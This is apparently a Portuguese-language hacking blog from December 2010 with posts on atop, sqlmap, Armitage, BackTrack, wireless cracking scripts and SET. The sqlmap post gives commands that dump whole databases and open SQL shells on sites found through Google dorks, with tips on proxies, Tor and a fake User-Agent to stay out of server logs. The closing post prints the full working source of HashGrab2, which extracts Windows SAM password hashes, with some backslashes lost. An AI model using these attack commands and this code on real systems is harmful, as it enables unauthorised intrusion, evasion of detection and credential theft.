sexta-feira, 31 de dezembro de 2010

atop - monitoramento de processo e carga do sistema

O programa “atop” é uma forma de monitorar de forma interativa para ver a carga em um sistema Linux. Com ele podemos ver a utilização do hardware mais crítico que afeta o desempenho do sistema, como CPU, memória, disco e rede. Com o atop podemos ver que processo esta utilizando os recursos do sistema.
Para maiores detalhes veja o man da ferramenta (man atop).

Veja um screenshot da ferramenta:


Aplicando o patch “kernel-patch-atopacct” será gravado informações adicionais de estatísticas para o atop.

by Osvaldo H Peixoto

quinta-feira, 30 de dezembro de 2010

Sqlmap - Testes de SQL Injection

O sqlmap é uma ferramenta para testes de SQL injection, com suporte a banco de dados MySql, Oracle, PostgreSQL e Microsoft SQL Server. Apenas vou demonstrar neste post alguns testes, essa ferramenta é muito poderosa e super flexível, recomendo a leitura do manual e do help (sqlmap -h).

Tem uma opção que acho fantástica, que é a busca por Google Dorks. Você informa o site onde você deseja realizar o teste e o dorks que você quer que o sqlmap use para buscar no site. O comando abaixo vai fazer com que o sqlmap faça uma busca no site informado por páginas em php e quando ele tiver uma lista considerável ele começa a tentar realizar os ataques.

#sqlmap -g “site:www.siteaqui.com.br ext:php”

Adicionando “--dump-all” ele fará um dump das tabelas do banco e mostrara também a versão do banco. O comando ficaria assim:

# sqlmap --dump-all  -g “site:www.siteaqui.com.br ext:php”

Um teste simples seria:

#sqlmap.py --dump-all -u "site.com.br"

Já pensou em conseguir uma Shell utilizando uma vulnerabilidade de Injection? Pois é, o sqlmap faz isso pra você:

#sqlmap --sql-shell -g “site:www.siteaqui.com.br ext:php”

Você pode realizar seus testes no site vulnerável da Acunetix que tem o propósito de testar suas habilidades e testar ferramentas:


Não se esqueça de usar algum Proxy para que o seu IP não seja registrado no log do servidor e mude também o “User-Agent” para que no log não apareça este campo como “sqlmap”. Para realizar isso execute o comando abaixo:

#sqlmap --sql-shell -g “site:www.siteaqui.com.br ext:php” --user-agent=”Mozilla/5.0” --proxy=”http://algumproxy.com:8080”

Faça uma busca pelo google e você encontrara uma lista de proxys ou use a rede TOR. Para mais informações sobre a rede TOR veja os links abaixo:


Veja esse ótimo vídeo sobre o Sqlmap:


by Osvaldo H Peixoto

quarta-feira, 29 de dezembro de 2010

tools.securitytube.net - ainda tenho que explicar?

Estou tentando acabar de escrever um post sobre como usar o sqlmap e estava fazendo algumas pesquisas pelo google para enriquecer o post e encontrei este site:

http://tools.securitytube.net/index.php?title=Main_Page

Pois é. É isso mesmo que você esta pensando, se é que você esta pensando a mesma coisa que eu pensei quando vi o link.

by Osvaldo H Peixoto

Usando o Armitage no BT4R2

Para quem não sabe o que é o Armitage leia o post “Metasploit Parte 2”. Recentemente foi lançado o Release 2 da distro BackTrack 4, considerada a melhor distribuição Linux para testes de segurança.

Abaixo seguem os comandos necessários para usar o Armitage no BT4R2.

Depois de instalar o BT é preciso atualizar o metasploit, faça isso com o comando abaixo:

#cd /pentest/exploits/framework3 && ./msfupdate

Veja que vai surgir um arquivo de nome “armitage”, um script em ruby que vai lançar o armitage, que por sua vez é escrito em Java.

Inicie o serviço RPC do Metasploit para aceitar acesso local (também pode ser remoto), veja o comando abaixo:

./msfrpcd -f -U msf -P test -t Basic

Para descobrir o significado dos parâmetros use a opção “-h” com o comando msfrpcd.

Inicie o Mysql: /etc/init.d/mysql  start

Agora execute o armitage: ./armitage

Pronto.

by Osvaldo H Peixoto


Instalando o BackTrack no USB

This method of getting a live install to a USB drive is the simplest available using Unetbootin. Note that we will format the USB drive and erase its contents.

1.     Plug in your USB Drive (Minimum USB Drive capacity 2 GB)
2.     Format the USB drive to FAT32
3.     Download Unetbootin from http://unetbootin.sourceforge.net/
4.     Start Unetbootin and select diskimage (use the backtrack-final ISO)
5.     Select your USB drive and click “OK” for creating a bootable BackTrack USB drive
6.     Log into BackTrack with the default username and password root / toor.



Esse outro método é um pouco diferente, mas funciona. Assista o video aqui.


terça-feira, 28 de dezembro de 2010

WiPhire - script para testar segurança em rede sem fio

Existem alguns scripts para automatizar o processo de quebrar chaves WEP e fazer ataques man-in-the-middle, mas poucos para fazer os dois ao mesmo tempo. Para isso, foi criado o WiPhire, um script projetado para ser usado com o Backtrack 4 que permite spoofar MACs automaticamente, quebrar chaves WEP e WPA, fazer ataques MITM, fazer spoof DNS e usar o airdrop-ng para criar um jammer, com o objetivo de impedir a comunicação por redes sem fio.



Faça o download aqui.


SET (Social Engineers Toolkit)

Foi adicionada uma nova ferramenta na sessão “Ferramentas e Aplicativos” chamada de SET (Social Engineers Toolkit). Veja um vídeo que mostra como usá-la, clique aqui.

by Osvaldo H Peixoto


Hashgrab2 - extraindo usuário e senha do Windows

Hashgrab2 automaticamente encontra e monta uma partição Windows e utiliza a ferramenta samdump2 para extrair usuário e senha que esta em hash nos arquivos SAM e SYSTEM.

#!/usr/bin/env python
#Name:    HashGrab2.py
#Version: 2.0
#Author:  s3my0n
#Website: InterN0T.net

#########################################################################
# HashGrab2 automatically mounts any Windows drives it can find, and    #
# using samdump2 extracts username-password hashes from SAM and SYSTEM  #
# files located on the Windows drive, after which it writes them to     #
# user specified directory.                                             #
#                                                                       #
# Copyright (C) 2010 s3my0n                                             #
#                                                                       #
# This program is free software: you can redistribute it and/or modify  #
# it under the terms of the GNU General Public License as published by  #
# the Free Software Foundation, either version 3 of the License, or     #
# any later version.                                                    #
#                                                                       #
# This program is distributed in the hope that it will be useful,       #
# but WITHOUT ANY WARRANTY; without even the implied warranty of        #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         #
# GNU General Public License for more details.                          #
#                                                                       #
# You should have received a copy of the GNU General Public License     #
# along with this program.  If not, see <http://www.gnu.org/licenses/>. #
#########################################################################

import sys, os, random, shutil, re, subprocess
from time import sleep

class HashGrab(object):
    def __init__(self, basedir, filesystems=['HPFS/NTFS', 'FAT16/FAT32']):
        self.basedir = basedir
        self.filesystems = filesystems
        self.dirstocheck = ['/WINDOWS/System32/config/', '/Windows/System32/config/',
                            '/WINNT/System32/config/', '/WINDOWS/system32/config/']
        self.files = ['SYSTEM', 'SAM', 'system', 'sam']

        self.hashes = {}
        self.devs = []
        self.mountdirs = []
        self.samsystem_dirs = {}
        self.filestocopy = []

    def findPartitions(self):
        decider = subprocess.Popen(('whoami'), stdout=subprocess.PIPE).stdout
        decider = decider.read().strip()
        if decider != 'root':
            print 'n [-] Error: you are not root'
            sys.exit(1)
        else:
            ofdisk = subprocess.Popen(('fdisk', '-l'), stdout=subprocess.PIPE).stdout
            rfdisk = [i.strip() for i in ofdisk]
            ofdisk.close()
            for line in rfdisk:
                for f in self.filesystems:
                    if f in line:
                        dev = re.findall('/w+/w+d+', line)
                        self.devs.append(dev[0])

    def mountPartitions(self):
        def randgen(integer):
            chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
            x = random.sample(chars, integer)
            randstring = ''.join(x)
            return randstring
        for dev in self.devs:
            mname = randgen(6)
            mdir = '/mnt/%s' % (mname)
            self.mountdirs.append([mdir, mname])
            os.mkdir(mdir)
            cmd = subprocess.call(('mount', '%s'%(dev), '%s'%(mdir)))
            if cmd == 1:
                print 'n [-] Could not mount %s to %s: exiting' % (dev, mdir)
                sys.exit(1)
            else:
                print 'n [*] Mounted %s to %s' % (dev, mdir)

    def findSamSystem(self):
        part_number = 0
        for m in self.mountdirs:
            self.filestocopy.append(m)
            for d in self.dirstocheck:
                for f in self.files:
                    cdir = '%s%s%s' % (m[0], d, f)
                    if os.path.isfile(cdir):
                        self.filestocopy[part_number].append(cdir)
            part_number+=1

    def copySamSystem(self):
        nmountdirs = len(self.mountdirs)
        decider = 0
        ftocopy = []
        for f in self.filestocopy:
            if len(f) < 4:
                decider += 1
            else:
                ftocopy.append(f)
        if decider == nmountdirs:
            print 'n [-] Could not find SAM and SYSTEM files in %s' % (self.devs)
            self.cleanUp()
            sys.exit()
        else:
            print 'n [*] Copying SAM and SYSTEM files...n'
            for f in ftocopy:
                cpdir = '%s%s' % (self.basedir, f[1])
                self.samsystem_dirs[f[1]] = cpdir
                os.mkdir(cpdir)
                shutil.copy(f[2], '%s/SYSTEM'%(cpdir))
                shutil.copy(f[3], '%s/SAM'%(cpdir))

    def extractHashes(self):
        for d in self.samsystem_dirs:
            try:
                cmd = subprocess.Popen(('samdump2', '%s/SAM'%(self.samsystem_dirs[d]), '%s/SYSTEM'%(self.samsystem_dirs[d])), stdout=subprocess.PIPE).stdout
                self.hashes[d] = cmd.readlines()
            except OSError:
                print 'n [-] SamDump2 was not found: exiting'
                self.cleanUp()
                sys.exit(1)

    def writeHashes(self):
        for i in self.hashes:
            try:
                ofile = open('%s%s.txt'%(self.basedir, i), 'w+')
                hashes = self.hashes[i]
                for line in hashes:
                    ofile.write(line)
                ofile.close()
            except IOError:
                print 'n [-] Error: could not open %s to write hashes to' % ('%s%s.txt'%(self.basedir, i))
                self.cleanUp(cpdirs=True)
                sys.exit(1)

    def cleanUp(self, devs=True, mdirs=True, cpdirs=False):
        if devs:
            print 'n [*] Unmounting partitions...'
            sleep(1) # sometimes fails if you don't sleep
            for dev in self.devs:
                subprocess.call(('umount', '%s'%(dev)))
        if mdirs:
            print 'n [*] Deleting mount directories...'
            for d in self.mountdirs:
                os.rmdir(d[0])
        if cpdirs:
            print 'n [*] Deleting %s' % (self.samsystem_dirs.values())
            for d in self.samsystem_dirs.values():
                shutil.rmtree(d)

def about():
    return r'''
  _               _                     _    ___
 | |             | |                   | |  |__
 | |__   __ _ ___| |__   __ _ _ __ __ _| |__   ) |
 | '_  / _` / __| '_  / _` | '__/ _` | '_  / /
 | | | | (_| __  | | | (_| | | | (_| | |_) / /_
 |_| |_|__,_|___/_| |_|__, |_|  __,_|_.__/____|
                         __/ |
                        |___/

 HashGrab v2.0 by s3my0n

http://InterN0T.net

 Contact: RuSH4ck3R[at]gmail[dot]com
 '''

if __name__=='__main__':
    print about()

    basedir = './' #change hashes copy directory (include "/" at the end of path)

    decider = os.path.exists(basedir)
    if (decider == True) and (basedir[-1:] == '/'):
        hg = HashGrab(basedir)
        hg.findPartitions()
        hg.mountPartitions()
        hg.findSamSystem()
        hg.copySamSystem()
        hg.extractHashes()
        hg.writeHashes()
        hg.cleanUp(cpdirs=True)
    else:
        print 'n [-] Error: check your basedir'
        sys.exit(1)